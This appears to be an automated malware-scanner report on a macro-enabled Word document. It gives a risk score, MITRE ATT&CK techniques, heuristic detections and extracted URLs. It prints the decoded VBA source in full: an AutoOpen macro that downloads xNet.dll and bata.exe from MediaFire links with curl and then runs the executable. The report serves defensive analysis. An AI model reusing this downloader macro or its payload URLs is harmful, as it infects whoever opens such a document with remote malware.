MALICIOUS
162
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1105 Ingress Tool Transfer
The sample contains VBA macros with an AutoOpen subroutine that executes shell commands. These commands use 'curl' to download two files, 'xNet.dll' and 'bata.exe', from MediaFire URLs into the C:\ProgramData directory. After a 10-second delay, the 'bata.exe' executable is launched. This indicates a downloader and executor attack pattern.
Heuristics 5
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://download1519.mediafire.com/1nn12qdivcbg/jr2r19q80nxyh51/xNet.dll In document text (OOXML body / shared strings)
- https://download1643.mediafire.com/8sjv2ohos30g/r2gx6urrptwtz34/bata.exeIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 732 bytes |
SHA-256: d8f27fbcb70e4380844b29d346d191a538d845f7015f8e0ff441185e449e15c9 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milloseconds As LongPtr)
Sub AutoOpen()
Shell ("curl - o C:\ProgramData\xNet.dll https://download1519.mediafire.com/1nn12qdivcbg/jr2r19q80nxyh51/xNet.dll")
Shell ("curl - o C:\ProgramData\bata.exe https://download1643.mediafire.com/8sjv2ohos30g/r2gx6urrptwtz34/bata.exe")
Sleep 10000
Shell ("C:\ProgramData\bata.exe")
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 9216 bytes |
SHA-256: 3ce82fa34d3c3f2e08b45c0e5e279279acef407d39bfcf7311dc0da6569a2609 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.